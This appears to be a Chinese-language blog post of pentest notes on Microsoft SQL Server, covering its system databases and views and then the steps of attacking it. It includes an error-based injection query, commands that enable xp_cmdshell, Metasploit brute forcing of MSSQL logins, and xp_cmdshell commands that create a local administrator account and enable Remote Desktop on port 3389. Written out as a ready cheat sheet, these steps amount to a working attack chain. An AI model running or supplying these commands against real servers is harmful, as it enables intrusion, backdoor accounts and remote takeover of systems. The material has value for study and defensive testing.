MSSQL中自带数据库信息

库名功能
Master系统控制数据库
Model模板数据库，数据库时建立所有数据库的模板。
Tempdb临时容器，保存所有的临时表，存储过程和其他程序交互的临时文件
Msdb主要为用户使用，记录着计划信息、事件处理信息、数据备份、警告以及异常信息
MSSQL系统视图表（MSSQL数据库与MYSQL数据库一样，自带数据表sysobjects和 syscolumns）
视图表功能
sysobjects记录了数据库中所有的表,常用字段为id,name和xtype
syscolumns记录了数据库中所有表的字段，常用字段为id、name和xtype
sys.databasesSQL Server 中所有的数据库
sys.sql_loginsSQL Server 中所有的登录名
information_schema.tables当前用户数据库的表
information_schema.columns当前用户数据库的列
sys.database_files存储在数据库中数据库文件

MSSQL三个关键系统表
sysdatabases
MSSQL中对sysdatabases系统表 的说明：
Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时，sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。
这个表保存在master数据库中，这个表中保存的是什么信息呢？这个非常重要。他是保存了所有的库名，以及库的ID，和一些相关信息。

dbid从1到5是系统的。分别是：master、model、msdb、mssqlweb、tempdb 这五个库.

我们利用SQL语句， 就可以查询出所有的库名.：

  • Db_name()

     当前数据库

  • sysdatabase

     视图中的 Sysdatabase存储了mssql的所有库名 
 Select * from master..sysdatabases 
 Select * from master.dbo.sysdatabases 
 bid表示库id

  • Sysobject

     Select * from master..sysobjects where xtype=char(85)

  • Syscolumns

     Select * from master..yscolumns where id=3

  • 报错

     Select 1 where 1=convert(int,(select @@version))

测试xp_cmdshell存储过程的开关过程，并利用存储过程执行系统命令：

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE（EXEC sp_configure ‘show advanced options’, 1;该命令用于修改权限，提升）开启xp_cmdshell扩展
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 0;RECONFIGURE关闭xp_cmdshell扩展

msf爆破mssql密码

Msfconsole -q 
Search mssql 
Use auxiliary/scanner/mssql/mssql_login

存储过程利用

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE开启xp_cmdshell扩展
exec xp_cmdshell ‘mkdir c:\zzz’在C盘中创建名为zzz目录
exec xp_cmdshell ‘net user zzz 123456 /add’创建zzz用户
exec xp_cmdshell ‘net localgroup administrators zzz /add’zzz添加为管理员权限
wmic RDTOGGLE WHERE ServerName=‘%COMPUTERNAME%’ call SetAllowTSConnections 1开启远程桌面
reg add “HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /t REG_DWORD /v portnumber /d 3389 /f设置远程桌面端口（默认开启3389）
netstat -anfind “3389”
# 数据库 # sqlserver # microsoft # 安全 # 系统安全
Logo
腾讯云开发者社区

腾讯云面向开发者汇聚海量精品云计算使用和开发经验，营造开放的云计算技术生态圈。

更多推荐

cover

计算机网络微课堂笔记

avatar 腾讯云开发者社区
cover

Rabbitmq在java中的使用

avatar 腾讯云开发者社区

java try catch 之后定位不到具体报错行_JAVA入门（三）上

点击蓝字｜关注我们一、异常与异常处理异常简介代码中：阻止当前方法或作用域继续实现的，称之为异常java中的所有异常类都继承Throwable类，Exception 的父类是 Throwable编码 环境 用户操作输入出现问题由java虚拟机自动抛出和自动捕获需要手动添加抛出和捕获语句文件找不到ThrowableErrorException虚拟机错误 VirtualMachineError...

avatar 腾讯云开发者社区